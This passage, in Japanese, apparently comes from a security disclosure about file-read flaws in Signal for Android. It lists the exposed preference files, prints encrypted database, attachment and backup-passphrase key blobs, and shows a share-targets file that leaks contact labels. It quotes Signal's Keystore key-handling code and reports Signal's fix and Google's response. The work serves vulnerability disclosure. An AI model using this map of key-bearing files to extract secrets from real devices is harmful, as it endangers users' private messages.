これらの脆弱性を通じて、攻撃者はSignalの内部ファイル構造にアクセスできる可能性があります。当社の分析は、Signalの暗号化アーキテクチャの強さと、機密性の高いデータが依然として露出している領域の両方を明らかにしています。以下は、当社が発見した内容の
詳細な内訳です。

1. Shared Preferencesディレクトリ(/data/data/org.thoughtcrime.securesms/shared_prefs/)

これらの脆弱性により、いくつかのXML設定ファイルへのアクセスが可能になりました。

FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml

2. 暗号化された暗号鍵(org.thoughtcrime.securesms_preferences.xml)

このファイルには、Keystoreに格納された共有鍵で暗号化された、Signalの最も機密性の高い設定データが含まれています。

<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
    "data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
    "iv":"NjYUlRR5zFafr+/O"
}</string>

<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
    "data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
    "iv":"4poKjqQ+7uIQvNAj"
}</string>

<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
    "data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
    "iv":"5BGyF7jmtjOA5c1x"
}</string>

3. メタデータと設定

設定ファイルは、さまざまなメタデータも露出させます。

  • インストールのタイムスタンプとバージョン
  • ユーザー設定(開封確認、入力中インジケーター)
  • バックアップスケジュールのタイムスタンプ
  • 鍵のローテーションのタイムスタンプ
  • マイグレーションバージョンの追跡

4. 平文ファイル

いくつかのファイルは、暗号化されていないデータを保存しています。

  • XMLのTargetsファイルは、共有ショートカットの連絡先情報を漏えいさせる
  • WebViewChromiumPrefs.xml:WebViewの設定と状態
  • Firebaseの設定:プッシュ通知トークンと設定
  • 各種キャッシュファイル:一時データとユーザー設定

/data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xmlにある、公開されている連絡先です。

<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>

Signalは多層の暗号化を実装しています。第1層は、SQLCipherを使ったデータベースの暗号化です。

private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
    String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
    String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);

    if (unencryptedSecret != null) 
        return getUnencryptedDatabaseSecret(context, unencryptedSecret);
    else if (encryptedSecret != null) 
        return getEncryptedDatabaseSecret(encryptedSecret);
    else 
        return createAndStoreDatabaseSecret(context);
}

第2層は、Android Keystoreを使って行われます。

private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
    SecureRandom random = new SecureRandom();
    byte[] secret = new byte[32];
    random.nextBytes(secret);

    DatabaseSecret databaseSecret = new DatabaseSecret(secret);

    if (Build.VERSION.SDK_INT >= 23) {
        // Use hardware-backed encryption when available
        KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
        TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
    } else {
        // Fallback for older devices (less secure)
        TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
    }

    return databaseSecret;
}

これらの保護により、任意ファイルの読み取りをSignalアカウントの完全な掌握へと直接つなげることは防がれています。それには、暗号上の弱点を持つ暗号オラクルやKeystoreのバイパスといった、第2の脆弱性が必要になります。

Signalの対応

今回の検出結果に対するSignalの対応(3時間以内の認識と数日以内の修正の展開)は、ユーザーのセキュリティへの同社の注力を示しています。改善の余地はあるものの、同社の多層防御のアプローチにより、これらの脆弱性があってもユーザーのメッセージは強力に保護され続けます。

重要なポイントはこうです。セキュリティは層をなしており、各層に弱点があり得るとしても、それらの組み合わせが堅牢な保護を提供します。Signalのアーキテクチャはこの原則を体現しており、当社の検出結果が常に改善の余地があることを示しているとしても、それは変わりません。

Googleの対応

Googleは両方の問題を意図どおりの動作であると報告しました。以下はその回答です。

脆弱性報告に対するGoogleセキュリティチームの回答

Googleセキュリティチームの詳細な回答と論拠

参考文献

タグ:

security